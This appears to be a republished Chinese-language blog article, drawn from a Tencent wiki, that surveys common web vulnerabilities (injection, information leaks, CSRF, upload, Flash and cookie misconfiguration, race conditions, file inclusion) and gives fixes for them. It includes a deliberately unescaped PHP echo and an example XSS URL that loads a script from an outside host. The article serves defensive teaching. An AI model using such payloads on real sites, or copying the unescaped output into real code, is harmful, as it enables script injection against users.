常见的网站漏洞

1. 注入漏洞

 (1)sql注入。
  (2 )xss ( cross site script) 跨站脚本攻击。
  服务端:
  
  echo $_GET['s'];

  浏览器URL:
   test.demo.com/index.php?s=<script src="http://www.123.com/demo.js"></script>(页面就会被注入js    脚本)
 (3)命令注入漏洞。
   通过GET提交的字符被systerm等系统方法,或者eval执行。
  (4)HTTP响应头部注入漏洞(HTTP header injection)
       Web程序代码中把用户提交的参数未做过滤就直接输出到HTTP响应头中, apache存在header injection漏洞:1.3.34/2.0.57/2.2.1。
      可能引起的漏洞 cache-poisoning、cross-site scripting、cross-user defacement、page hijacking、cookie manipulation 或 open redirect

(5) 跳转漏洞
http://***.qq.com/cgi-bin/demo_es.cgi?backurl=http://www.***.com,
修改后 backurl=http://www.***.com能跳转到其他网页
(6)xml注入漏洞
Web程序代码中把用户提交的参数未做过滤就直接输出到XML中

2. 信息泄漏漏洞

(1)phpinfo()信息泄漏
(2)测试页面泄漏在外网漏洞
(3)备份文件泄漏在外网
(4)版本控制工具把信息泄漏。
(5) http认证泄漏漏洞
(6) Web目录开启了HTTP Basic认证,但未做IP限制,导致攻击者可以暴力破解帐号密码
(7)管理后台地址泄漏。
(8)泄漏员工电子邮箱漏洞以及分机号码。
泄漏员工内部电子邮箱以及分机号码相当于泄漏了员工内部ID,可以为黑客进行社会工程学攻击提供有价值的材料,同时也为黑客暴力破解后台服务提供重要的帐号信息
(9)错误详情泄漏漏洞。php以及sql操作返回的错误信息,可能泄漏服务器信息。 例如sql语句执行错误原因,php的错误行数等。
 修复方案:
将错误信息对用户透明化,在CGI处理错误后可以返回友好的提示语以及返回码。但是不可以提示用户出错的代码级别的详细原因。

3. 请求伪造漏洞

(1)CSRF漏洞( Cross-site request forgery)跨站请求伪造
CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的
处理方法:(1) 客户端页面 增加伪随机数 因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败了:>(2) 请求referrer验证; (3)方法1已经能解决99%的csrf攻击了, 由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,那就是验证码。每次表单提交输入验证码。
(2) json-hijacking漏洞
CGI(common gateway interface)公共网关接口 ( HTTP服务器与你的或其它机器 
上的程序进行“交谈”的一种工具,其程序须运行在 网络服务器 )以JSON形式输出数据,黑客控制的开发者站点以CSRF手段强迫用户浏览器请求CGI得到JSON数据,黑客可以获取敏感信息。
修复方法和 CSRF漏洞一样。

4. 权限控制漏洞

(1)文件上传漏洞。
接受文件上传的Web程序未对文件类型和格式做合法性校验,导致攻击者可以上传Webshell(.php、.jsp等)或者非期望格式的文件(.jpg后缀的HTML文件
修复方法:
1. 上传文件类型和格式校验;
2. 上传文件以二进制形式下载,不提供直接访问。
(2) crossdomain.xml配置不当漏洞。
网站根目录下的文件crossdomain.xml指明了远程flash是否可以加载当前网站的资源(图片、网页内容、flash等), 如果配置不当,可能带来CSRF攻击。

修复方案:对于不需要外部加载资源的网站,crossdomain.xml中更改allow-access-from的domain属性为域名白名单。
修复大致样本参考如下(备注:示例中的app10000.qzoneapp.com,app10000.imgcache.qzoneapp.com请修改为自己指定的站点):

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from secure="false" domain="*.qq.com"/>
<allow-access-from secure="false" domain="*.soso.com"/>
<allow-access-from secure="false" domain="*.paipai.com"/>
<allow-access-from secure="false" domain="*.gtimg.cn"/>
<allow-access-from secure="false" domain="*.pengyou.com"/>
<allow-access-from secure="false" domain="app10000.qzoneapp.com"/>
<allow-access-from secure="false" domain="app10000.imgcache.qzoneapp.com"/>
</cross-domain-policy>

(2)flash标签配置不当漏洞。
网页在引入flash的时候,会通过object/embed标签,在设置的时候,如果一些属性配置不当,会带来安全问题:

1. allowScriptAccess:是否允许flash访问浏览器脚本。如果不对不信任的flash限制,默认会允许调用浏览器脚本,产生XSS漏洞。
always(默认值),总是允许;sameDomain,同域允许;never,不允许 
2. allowNetworking:是否允许flash访问ActionScript中的网络API。如果不对不信任的flash限制,会带来flash弹窗、CSRF等问题。
all,允许所有功能,会带来flash弹窗危害;internal,可以向外发送请求/加载网页;none,无法进行任何网络相关动作(业务正常功能可能无法使用)

修复方案:对于不信任flash源,allowScriptAccess设置为never,allowNetworking设置为none(业务需要可以放宽为internal)。

(2)embed标签配置不当漏洞。

名称:embed标签配置不当漏洞

描述:网页会通过embed标签引入媒体文件(如rm、avi等视频音频),这些媒体文件中如有脚本指令(弹窗/跳转),如果没有限制就会出现安全问题。

检测方法:检查embed标签中是否有invokes标签。

修复方案:添加属性invokes值为-1。

(3) 并发漏洞

攻击者通过并发http/tcp请求而达到次获奖、多次收获、多次获赠等非正常逻辑所能触发的效果。


描述:攻击者通过并发http/tcp请求而达到次获奖、多次收获、多次获赠等非正常逻辑所能触发的效果。
下面以简化的例子说明在交易的Web应用程序中潜在的并行问题,并涉及联合储蓄帐户中的两个用户(线程)都登录到同一帐户试图转账的情况:
帐户A有100存款,帐户B有100存款。用户1和用户2都希望从帐户A转10分到帐户B.
如果是正确的交易的结果应该是:帐户A 80分,帐户B 120分。
然而由于并发性的问题,可以得到下面的结果:
用户1检查帐户A ( = 100 分)
用户2检查帐户A ( = 100 分)
用户2需要从帐户A 拿取10 分( = 90 分) ,并把它放在帐户B ( = 110 分)
用户1需要从帐户A 拿取10分(仍然认为含有100 个分)( = 90 分) ,并把它放到B( = 120 分)
结果:帐户A 90 分,帐户B 120 分。

检测方法:发送并发http/tcp请求,查看并发前后CGI 功能是否正常。例如:并发前先统计好数据,并发后再统计数据,检查2次数据是否合理。


修复方案:对数据库操作加锁。

(4)cookie安全性漏洞

cookie的属性设置不当可能会造成其他SNS游戏的运行出错等安全隐患。

修复方案:对cookie字段的domain属性做严格的设定,openkey以及openid的domain只能设置到子域,禁止设置到父域qzoneapp.com。如下图所示:
Cookies_safe.jpg

(5)Frame-proxy攻击漏洞

在一些老版本浏览器(比如IE6)下,Frame-proxy攻击可以把非常驻XSS漏洞以常驻型的方式做攻击。

修复方案:qzoneapp.com域名下的应用不能再通过iframe嵌入qq.com域名下页面。

原理如下图所示,假设域名xiaoyou.qq.com底下没有任何xss漏洞,然后xiaoyou.qq.com通过iframe嵌入了一个xxx.qzoneapp.com域名。

假设qq.com的某个子域vul.qq.com存在一个非常驻的xss漏洞,那么当xxx.qzoneapp.com通过iframe嵌入vul.qq.com时,访问xiaoyou.qq.com域名的用户将受到常驻型XSS漏洞的攻击。

常见的网站漏洞_第1张图片

原文见:http://wiki.open.qq.com/wiki/Web漏洞检测及修复

5. 其他

(1) 文件include漏洞。

文件包含是指程序代码在处理包含文件的时候没有严格控制。导致用户可以构造参数包含远程代码在服务器上执行,进而获取到服务器权限,造成网站被恶意删除,用户和交易数据被篡改等一系列恶性后果

修复:

PHP:配置php.ini关闭远程文件包含功能(allow_url_include = Off)

你可能感兴趣的:(常见的网站漏洞)